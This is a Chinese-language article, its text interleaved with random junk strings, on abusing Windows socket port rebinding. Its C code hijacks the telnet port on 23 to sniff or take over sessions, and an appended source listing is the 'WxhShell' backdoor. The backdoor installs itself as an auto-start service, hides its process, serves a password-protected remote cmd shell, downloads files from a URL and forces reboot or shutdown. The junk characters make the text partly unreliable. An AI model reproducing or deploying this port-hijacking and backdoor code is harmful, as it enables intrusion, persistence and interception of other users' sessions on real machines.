在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
H+O^e l s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
\qA^3L~;5 vrr`^UB2 saddr.sin_family = AF_INET;
7Gs0DwV ;V:Cf/@@R saddr.sin_addr.s_addr = htonl(INADDR_ANY);
.zM M!l3 qbunP! bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
'a6:3* c9<&+ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
b- FJMY @9}SHS
这意味着什么?意味着可以进行如下的攻击:
yrgb6)]nm@ /qeSR3WC 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
`(dRb Q|1X|_hs 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
*9?T?S|^$F a=%QckR* 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
.o_?n.H'& 28jm*Cl8 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
OpT0V]k^"9 ;<~lzfs
其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Z,ZebS@yG Jemb0Qv 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
*]uj0@S v."0igMO 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Z7@~#)3 w?db~"T #include
Dj$W?dC"^ #include
HHMv%H]M #include
==W`qC4n?n #include
HXg4
T DWORD WINAPI ClientThread(LPVOID lpParam);
]B'H(o
R<| int main()
`J}-U\4F{ {
rQ!X WORD wVersionRequested;
|:{H4 DWORD ret;
?\J.Tv$$$ WSADATA wsaData;
}ippi6b:r BOOL val;
7lJs{$
P SOCKADDR_IN saddr;
u}L;/1,B SOCKADDR_IN scaddr;
Wt8=j1> int err;
iI.d8}A SOCKET s;
%w0Vf$ SOCKET sc;
4\?GA`@ int caddsize;
Jc74A=sT HANDLE mt;
^HM9'*&KJ DWORD tid;
oO8opS7F wVersionRequested = MAKEWORD( 2, 2 );
$ [NC$*N7 err = WSAStartup( wVersionRequested, &wsaData );
u3XQ<N{Gj if ( err != 0 ) {
$!-a)U,w$B printf("error!WSAStartup failed!\n");
k"V@9q;* return -1;
J
BN_Upat }
lbg^ 2|o~~ saddr.sin_family = AF_INET;
;&9A
Yh. uSRvc0R\ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Z%uDz3I\Q" ~=pAy>oV saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
_H(:$=$Q saddr.sin_port = htons(23);
?V>\9?zb if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
wV,l }Xb- {
K#LG7faj printf("error!socket failed!\n");
bR*/d-v^ return -1;
w'-J24>= }
|k-IY]6 val = TRUE;
~_YU%y //SO_REUSEADDR选项就是可以实现端口重绑定的
z12c9k%s if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
UFED*al# {
6}>:sr printf("error!setsockopt failed!\n");
E{-W#}# return -1;
.eSMI!Y= }
JnT1-=t. //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
; {P"~(S% //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
dLtn,qCX0^ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
]("5O V5 v G7aT if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Owa]ax5 {
c_33.i"I} ret=GetLastError();
@Q=P6Rz
{S printf("error!bind failed!\n");
ji|`S\u#b return -1;
xlH?J;$ }
I'NE>!=Q listen(s,2);
A`D^}F6 while(1)
\AT]$`8@_ {
VgSk\:t caddsize = sizeof(scaddr);
U/|H%b //接受连接请求
#n[1%8l, sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
@YMQbjbr if(sc!=INVALID_SOCKET)
&Vtgh3I {
;{Sgv^A mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
5G-}'-R if(mt==NULL)
N`DLIv8i; {
r:&"#F printf("Thread Creat Failed!\n");
=>0+BD break;
.kGlUb?^Q }
@"`{gdB$ }
?rD`'B CloseHandle(mt);
6#JdQ[IP6 }
0> 6;,pd" closesocket(s);
x 7;Zwd WSACleanup();
;bZIj`D( return 0;
4l2xhx }
as{^~8B DWORD WINAPI ClientThread(LPVOID lpParam)
#()u=) {
ma\UJz SOCKET ss = (SOCKET)lpParam;
UI*^$7z1 + SOCKET sc;
b$24${*' unsigned char buf[4096];
eDm~B(G$ SOCKADDR_IN saddr;
6G<t1?_yD long num;
4@wH4H8 DWORD val;
+!I7(gL DWORD ret;
9P3jx)K //如果是隐藏端口应用的话,可以在此处加一些判断
"\'g2|A //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
o@o6<OP^ saddr.sin_family = AF_INET;
T/_JXK>W saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
zKi5e+\ saddr.sin_port = htons(23);
ohdWEU, if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
oH/4opV {
Ch1+YZG printf("error!socket failed!\n");
l#FW#`f return -1;
7I6bZ;}d }
hm%'k~ val = 100;
? 9.V@+i if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
m})q8b!S {
+7jr ]kP9 ret = GetLastError();
K8`M~P. return -1;
.oJs"=h:m }
\;?=h if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
&AMW?vO {
_u`NIpXSP ret = GetLastError();
r|XNS>V ,$ return -1;
0,T'z, }
VK*2`Z1 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
S^GB\uJ {
&=sVq^d@qe printf("error!socket connect failed!\n");
H<M
ggs- closesocket(sc);
/`3^?zlu" closesocket(ss);
3gW4\2|T return -1;
mGjxc} }
DR o@gYDn while(1)
w$9aTL7 {
P&/PCSf //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
fb5]eec //如果是嗅探内容的话,可以再此处进行内容分析和记录
g& yR - //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
JD^&d~n_ num = recv(ss,buf,4096,0);
Lc|5&<8ZG1 if(num>0)
}mjJglK!N send(sc,buf,num,0);
JM#jg-z,~ else if(num==0)
L%8>deE>;D break;
O jkbv num = recv(sc,buf,4096,0);
Jlw
oSe:S if(num>0)
kO:iA0KUX send(ss,buf,num,0);
+w-UK[p else if(num==0)
iQczvn)"m break;
O[3AI^2 }
!8"516!d|p closesocket(ss);
/3*75 closesocket(sc);
rsP3?.E return 0 ;
b9[KdVsT6^ }
^;3z9}9 TxhTK5#f _/"m0/, ==========================================================
+igFIoHTM D?rQQxb 下边附上一个代码,,WXhSHELL
,.`";='o A/W-'%+` ==========================================================
Q{Gi**< pa&*n=&cL #include "stdafx.h"
fW Vd[zuD4 DJeP] #include <stdio.h>
oy!W$ ?6 #include <string.h>
29g("(}TK #include <windows.h>
9YMUvd,u #include <winsock2.h>
--0z"`@{ #include <winsvc.h>
@]Ye36v0#L #include <urlmon.h>
uXuMt
a*Y h3issi+N #pragma comment (lib, "Ws2_32.lib")
8jxgSB", #pragma comment (lib, "urlmon.lib")
J<:qzwh guv)[:cd; #define MAX_USER 100 // 最大客户端连接数
>9D=PnHnD #define BUF_SOCK 200 // sock buffer
$|!VP'VI #define KEY_BUFF 255 // 输入 buffer
fmH$1C< raGov` #define REBOOT 0 // 重启
-OZRSjmY #define SHUTDOWN 1 // 关机
z3b8 H~+D2A #define DEF_PORT 5000 // 监听端口
>R/^|hnJ 6hSj) #define REG_LEN 16 // 注册表键长度
+ )?1F #define SVC_LEN 80 // NT服务名长度
MpM-xz~ VAc-RaA // 从dll定义API
CD(2A,u)/ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
E7+y
W typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
KcVCA typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
De[!^/f;T typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
yqqP7 F#@Mf?#2
// wxhshell配置信息
:|oH11y struct WSCFG {
tv)x(MX int ws_port; // 监听端口
:{C#<g` char ws_passstr[REG_LEN]; // 口令
7Xv.C&jzd int ws_autoins; // 安装标记, 1=yes 0=no
in -/ char ws_regname[REG_LEN]; // 注册表键名
.O'S@ %] char ws_svcname[REG_LEN]; // 服务名
`9eE139V=' char ws_svcdisp[SVC_LEN]; // 服务显示名
HE+y1f] char ws_svcdesc[SVC_LEN]; // 服务描述信息
bT>%
* char ws_passmsg[SVC_LEN]; // 密码输入提示信息
o"t+G/M int ws_downexe; // 下载执行标记, 1=yes 0=no
w:Fes char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
zT0rvz1),M char ws_filenam[SVC_LEN]; // 下载后保存的文件名
J%EbJ5p<QF E0}`+x };
=LuH:VM& [V()7 // default Wxhshell configuration
M cE$=Vv struct WSCFG wscfg={DEF_PORT,
'OSZ'F3PV "xuhuanlingzhe",
$k*E^~qT 1,
L #p-AK "Wxhshell",
nCEt*~t9VE "Wxhshell",
]i\D*,FfU "WxhShell Service",
lRnst-inlI "Wrsky Windows CmdShell Service",
D0=D8P}H: "Please Input Your Password: ",
Q4-d2I>0 1,
2|(J<H "
http://www.wrsky.com/wxhshell.exe",
?stx3sZ "Wxhshell.exe"
eh nN };
qX`?4"4 !Pt|Hk dr // 消息定义模块
mkTf}[O char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
I-4csw<Qy char *msg_ws_prompt="\n\r? for help\n\r#>";
wH~Q4)#=o char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
~\}%6W[2 char *msg_ws_ext="\n\rExit.";
+"Ek?
)? char *msg_ws_end="\n\rQuit.";
&fq-U5zH char *msg_ws_boot="\n\rReboot...";
S1wt>}w0$ char *msg_ws_poff="\n\rShutdown...";
2pH2s\r<UJ char *msg_ws_down="\n\rSave to ";
:x]gTZ? c*K-?n9YMz char *msg_ws_err="\n\rErr!";
=(K;z9OR char *msg_ws_ok="\n\rOK!";
8$-Wz:X& 4VSIE"8e char ExeFile[MAX_PATH];
-MJ6~4k2 int nUser = 0;
i 4lR$]@ HANDLE handles[MAX_USER];
\TkBV?W int OsIsNt;
%FLz}QW* eI; %/6# SERVICE_STATUS serviceStatus;
]3xnq< SERVICE_STATUS_HANDLE hServiceStatusHandle;
yC4JYF]JN [oKc<o7)~" // 函数声明
bSU9sg\ int Install(void);
rPkV=9ull, int Uninstall(void);
$jo}?Y+ int DownloadFile(char *sURL, SOCKET wsh);
oHB51< } int Boot(int flag);
soA>&b!? void HideProc(void);
I<z
/Y? int GetOsVer(void);
IfeG"ua| int Wxhshell(SOCKET wsl);
V'
"p
a void TalkWithClient(void *cs);
,sP7/S)FR int CmdShell(SOCKET sock);
fyYT #r int StartFromService(void);
/cexd_l|f int StartWxhshell(LPSTR lpCmdLine);
6GMQgTY^ -o6K_R}R VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
tn+i5Eso VOID WINAPI NTServiceHandler( DWORD fdwControl );
Fl]$ql
_
mhP:O // 数据结构和表定义
0wB ?U~ SERVICE_TABLE_ENTRY DispatchTable[] =
nBjfR2TuF {
;"
'`P[ {wscfg.ws_svcname, NTServiceMain},
}:5r#Cd {NULL, NULL}
9yajtR };
.1.n{4z>: + B%fp* // 自我安装
>&RpfE[ int Install(void)
EN` --^ {
s{x2RDAt char svExeFile[MAX_PATH];
;S"^O
AM HKEY key;
pq#Hca[ strcpy(svExeFile,ExeFile);
$dFEC}1t
^O6P Zm5J} // 如果是win9x系统,修改注册表设为自启动
6Y)'p
.+g if(!OsIsNt) {
|L.QIr,jCC if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
L,p5:EW8. RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
? Sj,HLo@U RegCloseKey(key);
3%|LMX]M5_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
f}Eoc>n RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
aN}yS=(Ff RegCloseKey(key);
;t:B:4r(j return 0;
&sh
%]o8 }
zIf/j k }
VT?JTW }
Q*ZqY else {
M['8zN B<xBuW // 如果是NT以上系统,安装为系统服务
=<y$5"| SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
=S4_^UY; if (schSCManager!=0)
D0v!fF~ {
R#`hT SC_HANDLE schService = CreateService
[53rSr (
5 .0BaVwi schSCManager,
m!er"0 wscfg.ws_svcname,
D\
HmY_ wscfg.ws_svcdisp,
]BP"$rs SERVICE_ALL_ACCESS,
xv]P-q0 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
E[/<AY^@!z SERVICE_AUTO_START,
d2&sl(O SERVICE_ERROR_NORMAL,
ah>;wW!6/ svExeFile,
V?kJYf(< NULL,
8OqG{jmG NULL,
2.p7fu NULL,
XG@_Lcv* NULL,
,oT?-PC$z NULL
/~{8/u3 );
6c^2Nl8e if (schService!=0)
z|=l^u6uS {
z
`T<g!Y CloseServiceHandle(schService);
f7)}A/$4+ CloseServiceHandle(schSCManager);
Os?G_ziIB strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
((7~o?Vbg strcat(svExeFile,wscfg.ws_svcname);
4};iL) if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
&dp(CH<De RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
yyPkjUy[ RegCloseKey(key);
'vgw>\X( return 0;
_:x/\8P }
bqJL@!T }
cR 4xy26s CloseServiceHandle(schSCManager);
R;.zS^LL }
<:-|>R". }
TW(rK& sI,T"D? return 1;
{# ;e{v }
_M8Q%
UO5^4 // 自我卸载
rV<yM$IA int Uninstall(void)
w}zl=w{G {
1y$Bz?4 HKEY key;
BEPeK ~e@QJ=r if(!OsIsNt) {
8c`g{
*z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
{xi$'r RegDeleteValue(key,wscfg.ws_regname);
BB-E"< RegCloseKey(key);
A-aukJg9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
g05:A0X# RegDeleteValue(key,wscfg.ws_regname);
yw41/jHF RegCloseKey(key);
XE[~!
>' return 0;
5?kJ]: }
w6+X{ }
cF_ Y}C }
qXR>Z=K< else {
~=aD*v<3d eLJW SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
{'l^{"GO" if (schSCManager!=0)
fLA!oeq{&} {
),v[.9!}: SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
6AKH0t|4 if (schService!=0)
"1$OPt5 {
tH,}_Bp if(DeleteService(schService)!=0) {
}BlVLf%C CloseServiceHandle(schService);
Pni
CloseServiceHandle(schSCManager);
p 2It/O return 0;
YK!nV , }
6]^ShOX_Z CloseServiceHandle(schService);
_Isju
S }
'e_^s+l)a CloseServiceHandle(schSCManager);
R(@B4M2 }
oFB~)}f<v }
h-+9Bv] C=2 return 1;
1q]V/V} }
)WF]v"t \-a^8{.^E // 从指定url下载文件
y/k6gl[` int DownloadFile(char *sURL, SOCKET wsh)
`of 5h*k {
lCLz!k2di HRESULT hr;
k"Y9Kc0XoU char seps[]= "/";
+[:"$?J char *token;
%W~Kx_ char *file;
bq/m?; char myURL[MAX_PATH];
57k@]3
4 char myFILE[MAX_PATH];
Y*/:IYr` wkOo8@J\ strcpy(myURL,sURL);
lyNa(3
token=strtok(myURL,seps);
X1?7}VO while(token!=NULL)
-'BC*fV r {
Tjma'3H*T0 file=token;
mnZ/rb token=strtok(NULL,seps);
qL.1N~$2 }
JV(qTb W ,X25 -OFZ GetCurrentDirectory(MAX_PATH,myFILE);
];i-d7C strcat(myFILE, "\\");
hNgbHzW strcat(myFILE, file);
;wwhW|A send(wsh,myFILE,strlen(myFILE),0);
p \A ^kX^5 send(wsh,"...",3,0);
pp@Jndlg hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
DXu#07\ if(hr==S_OK)
wi^zXcVj return 0;
A;7p else
f4YcZyBGv return 1;
va F^[/
(g n[8ju,= }
rCU f,) 3>YG // 系统电源模块
E/2 kX 3} int Boot(int flag)
Wew'bj
{
}tA77Cm)45 HANDLE hToken;
4scY8(1 TOKEN_PRIVILEGES tkp;
/?uA{/8 d
4w+5H"u if(OsIsNt) {
&6<>hqR^ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
ATl.Qku@ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
nI7G"f[%r; tkp.PrivilegeCount = 1;
&oI;^| tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
nt.A X AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
6$$4!R- if(flag==REBOOT) {
l/0"'o_0v# if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
8*z)aB&f3 return 0;
x>:~=#Vi }
is}6cR else {
{:BAh5e| if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
%EkV-%o* return 0;
jkCa2!WQ'i }
9eO!_a^ }
2f>G else {
Br^4N9 if(flag==REBOOT) {
H8.Aq\2S if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
k+#6 return 0;
0?OTa<c }
WO$9Svh8 else {
Jm8{@D% if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
1AMxZ (e return 0;
q2 K@i*s }
C".nB12 }
4M4Y2fBH iR}3 [ return 1;
4UwXrEQp }
K;kaWV c1 aCN // win9x进程隐藏模块
6[ }~m\cY void HideProc(void)
v0uDL7 {
*nJy u&{}hv&FY HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
.m%/JquMFM if ( hKernel != NULL )
jZwv!-: {
8T"C] pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
2kMBe% ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
n^vL9n_N FreeLibrary(hKernel);
v:/+OzY }
tuH8!. ^6R
Sbi\ return;
}nh!dVA8lh }
|NuX9!S ,36AR|IO) // 获取操作系统版本
MI8f(ZJK5 int GetOsVer(void)
X*ZTn
7< {
jw63sn OSVERSIONINFO winfo;
l
Ozi| winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
U`YPzZp_ GetVersionEx(&winfo);
\"r84@< if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
9vIqGz-o return 1;
Jv_KZDOdk else
udw>{3> return 0;
+c4-7/kE }
}E[u" @} abog\0 // 客户端句柄模块
dL{zU4iUR int Wxhshell(SOCKET wsl)
(4:&tm/; {
|#_IAN SOCKET wsh;
^n! j" struct sockaddr_in client;
%LI[+#QE DWORD myID;
>fZ N?>` mEK0ID\ while(nUser<MAX_USER)
Vyy;mEBg {
%{M_\Ae# int nSize=sizeof(client);
q{4W@Um- wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
73/DOF if(wsh==INVALID_SOCKET) return 1;
Oz8"s4Y7 O5rHN;\_ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
BhAWIH8@C if(handles[nUser]==0)
&8=wkG% closesocket(wsh);
~nQ= iB else
8w,+Y]X<P[ nUser++;
B=<>OYH }
^:krfXT WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
7Iz%Jty #kGgzO return 0;
*[VO03
}
qDSZ:36 VkFvV><" // 关闭 socket
F7f psAt7 void CloseIt(SOCKET wsh)
5hxG\f#}? {
qg7qTF& closesocket(wsh);
O_v8R7 { nUser--;
\xCI8 *W ExitThread(0);
TRLz>m Q }
7(8i~} XK*55W&og // 客户端请求句柄
s&Bk@a8 void TalkWithClient(void *cs)
pJg'$iR!/ {
r6,EyCWcCs +qPpPjG; SOCKET wsh=(SOCKET)cs;
&^q!,7.J char pwd[SVC_LEN];
5OJ8o>BF char cmd[KEY_BUFF];
T[?wbYfW char chr[1];
"+0Yhr ? int i,j;
JD\yl[ac% z (1zth while (nUser < MAX_USER) {
4n9".UHh d+caGpaR if(wscfg.ws_passstr) {
^l,(~03_ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
7LFJi@*8 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
]VKM3[ //ZeroMemory(pwd,KEY_BUFF);
\*a7o GyH> i=0;
_DDknQP while(i<SVC_LEN) {
-RLY.@'d-M dnwTD\), // 设置超时
z`}<mY
E fd_set FdRead;
9#;GG3 struct timeval TimeOut;
~nP~6Q'wSH FD_ZERO(&FdRead);
cVV @MC FD_SET(wsh,&FdRead);
[TW?sW^0 TimeOut.tv_sec=8;
61aU~w11a TimeOut.tv_usec=0;
L'Yg$9 Vz int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
mM[KT}
A if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
"_f~8f`y &b__/o if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
ZXJ]== pwd
=chr[0]; ]2_b_ok
if(chr[0]==0xd || chr[0]==0xa) { B5A/Iv)2
pwd=0; ~vb yX
break; pftnFOLO
} =%)Y,
)"
i++; =8o$
} L2sUh+'|
-$ VP#%
// 如果是非法用户,关闭 socket Y:?cWO
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); u?Uu>9@Z
}
}OsAO
wB(X(nr
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); mi';96
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iJ&jg`"=F
>eC>sTPQ{
while(1) { /!i`K{
'5)PYjMnH
ZeroMemory(cmd,KEY_BUFF); CyV2=o!F w
WR.>?IG2E
// 自动支持客户端 telnet标准 R9&3QRW|
j=0; ZLGglT'EW>
while(j<KEY_BUFF) { De-hHY{>
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ke)}JU^"
cmd[j]=chr[0]; im&Nkk4n@
if(chr[0]==0xa || chr[0]==0xd) { u\AL`'v
cmd[j]=0; mXPA1#qo
break; e0$.|+
} 5Ic'6AIz
j++; 2JhE`EVH
} +^ cjdH*
L%`MoTpKq
// 下载文件 jhJ'fI
if(strstr(cmd,"http://")) { KY'x;\0
g
send(wsh,msg_ws_down,strlen(msg_ws_down),0); =j"bLX6;
if(DownloadFile(cmd,wsh)) v,L@nlD]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )z_5I (?&
else @kPe/j/[1
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xxQgX~'x
} -`A+Qp)
else { Y-s6Z\
W9G1wU
switch(cmd[0]) { lD#S:HX
t ch;_7?
// 帮助 8Q(A1U
case '?': { pSl4^$2XR
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Bfu/w
break; 20
Z/Y\
} _B?Hw[cc
// 安装 d6XdN
case 'i': { U1)!X@F{
if(Install()) 0JXXJ:d B
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0B]c`$"aD
else ET[>kn^#
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mo D)^':.
break; '!"rE1e
} ;r BbLM`
// 卸载 A
D%9;KQ8
case 'r': { @x@wo9<Fc
if(Uninstall()) $YiG0GK<"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); lyzM?lK-
else :I2spBx
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &U_T1-UR2
break; yTR5*{?j
} "!R*f $
// 显示 wxhshell 所在路径 7P:/ (P
case 'p': { j6dlAe
char svExeFile[MAX_PATH]; 4jw q$G
strcpy(svExeFile,"\n\r"); (,R\6
strcat(svExeFile,ExeFile); 13p.dp`
send(wsh,svExeFile,strlen(svExeFile),0); 2t;3_C
break; #('GGzL6c
} )
S-Fuq4i4
// 重启 4*9BAv
case 'b': { %RIlu[J
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tkP& =$
if(Boot(REBOOT)) ZfibHivz
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @GWlo\rM6^
else { .umN>/o[
closesocket(wsh); 5^Ny6t
ExitThread(0); ;o?o92d
} KP_7h/e
break; a/n~#5-
} &-L9ws
// 关机 D^S"6v"z
case 'd': { ^[VEr"X
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); bQ-n<Lx
if(Boot(SHUTDOWN)) $+ORq3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); cv_t2m
else { -Dwe,N"{2
closesocket(wsh); E %?>
%h
ExitThread(0); kbSl.V%)
} mGoNT
break; EX@Cf!GjN
} 3uL$+F
// 获取shell bsc#Oq]
case 's': { `('NH]^
CmdShell(wsh); Pf~0JNnc
closesocket(wsh); ~i0>[S3'
ExitThread(0); xLP8*lvy
break; 69 J4p=c,
} 8l<~zIoO
// 退出 1U(!%},
case 'x': { v}=pxWhm
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 65GC7 >[
CloseIt(wsh); OKA6S*
break; !1mAq+q!
} uT
Y G/O
// 离开 AD>/#Ul
case 'q': { [$M l;K
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Jw^h<z/Ux
closesocket(wsh); 0R;`)V\^
WSACleanup(); CVZ4:p
exit(1); Z
ZT2c0AK
break; 4M;S&LA
} Mo]iVj8~
} X*a7`aL
} a
YY1*^
I*KJq?R
// 提示信息 t&-c?&FO\;
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &zPM#Q
} X^C $|:
} ?sxf_0*
_I%mY!x\`
return; *7qa]i^]
} 5a/3nsup5
iig&O(,
// shell模块句柄 xM>dv5<E
int CmdShell(SOCKET sock) ~]BR(n
{ V/ZWyYxjLi
STARTUPINFO si; :(I=z6
ZeroMemory(&si,sizeof(si)); NM1TFs2Y*
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hysxHOL
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; BbI),iP
PROCESS_INFORMATION ProcessInfo; hP/uS%X
char cmdline[]="cmd"; {X W>3 "
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `Mo%)I<`=
return 0; zu1gP/
} 8g/r8u~
YGi_7fTyc=
// 自身启动模式 t5QGXj
int StartFromService(void) AI .2os*
{ &<hk&B
typedef struct HPK}Z|Vl
{ R~bLEo
DWORD ExitStatus; G+iJS!=
DWORD PebBaseAddress; ltd'"J/r
DWORD AffinityMask; d_98%U+u
DWORD BasePriority; ?#__#
